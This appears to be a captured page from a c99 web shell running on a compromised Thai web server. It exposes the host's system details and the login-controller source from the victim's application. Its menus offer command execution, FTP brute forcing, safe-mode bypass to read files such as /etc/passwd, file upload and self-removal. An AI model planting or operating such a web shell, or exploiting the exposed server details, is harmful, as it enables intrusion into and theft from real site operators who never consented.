!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/version_client/application/controllers/   drwxr-xr-x
Free 40.46 GB of 127.8 GB (31.66%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     login.php (1.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
class Login extends CI_Controller
    
{
        private 
$ver_path;

        function 
__construct()
        {
            
parent::__construct();
            
$this->ver_path $this->config->item('ver_folder');
        }

        function 
index() 
        {
            
$mn['menu'] = $this->load->view('info/v_prelogin','',true);
            
$lv['body'] = $this->load->view('info/v_info','',true);
            
$lv['head'] = $this->load->view('info/v_header',$mn,true);
            
$lv['footer'] = $this->load->view('info/v_footer','',true);
            
$this->load->view('info/v_in',$lv);
        }

        function 
chk_user()
        {
            
$this->load->model($this->ver_path.'m_umuser');
            
$this->load->model($this->ver_path.'m_umgroup');
            
$mus $this->m_umuser;
            
$mgp $this->m_umgroup;
            
$this->load->library('form_validation');
            
$this->form_validation->set_rules('txtUsername','','required|trim|xss_clean');
            
$this->form_validation->set_rules('txtPassword','','required|trim|xss_clean');
            
            if(
$this->form_validation->run() == TRUE)
            {
                
$mus->UsLogin $this->input->post('txtUsername',TRUE);
                
$mus->UsPassword $this->input->post('txtPassword',TRUE);
                
$qu_chk $mus->check_user();
                if(
$qu_chk->num_rows())
                {
                    
$mus->UsID $qu_chk->row()->UsID;
                    
$mus->get_by_key(TRUE);
                    
$arr = array(
                        
'UsID'=>$mus->UsID,
                        
'UsName'=>$mus->UsName,
                        
'UsLogin'=>$mus->UsLogin,
                        
'UsPsCode'=>$mus->UsPsCode,
                        
'UsWgID'=>$mus->UsWgID,
                    );
                    
$this->session->set_userdata($arr);
                    
$mgp->GpID $this->config->item('ver_gp');
                    
$mgp->get_by_key(TRUE);
                    unset(
$arr);
                    
$arr = array(
                        
'GpID'=>$mgp->GpID,
                        
'GpNameT'=>$mgp->GpNameT,
                        
'GpNameE'=>$mgp->GpNameE,
                        
'GpStID'=>$mgp->GpStID
                    
);
                    
$this->session->set_userdata($arr);
                    
redirect($this->ver_path.'ver_client');
                }
                else
                {
                    
redirect('login');
                    return;
                }
            }
            
redirect('login');
        }

    }
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.019 ]--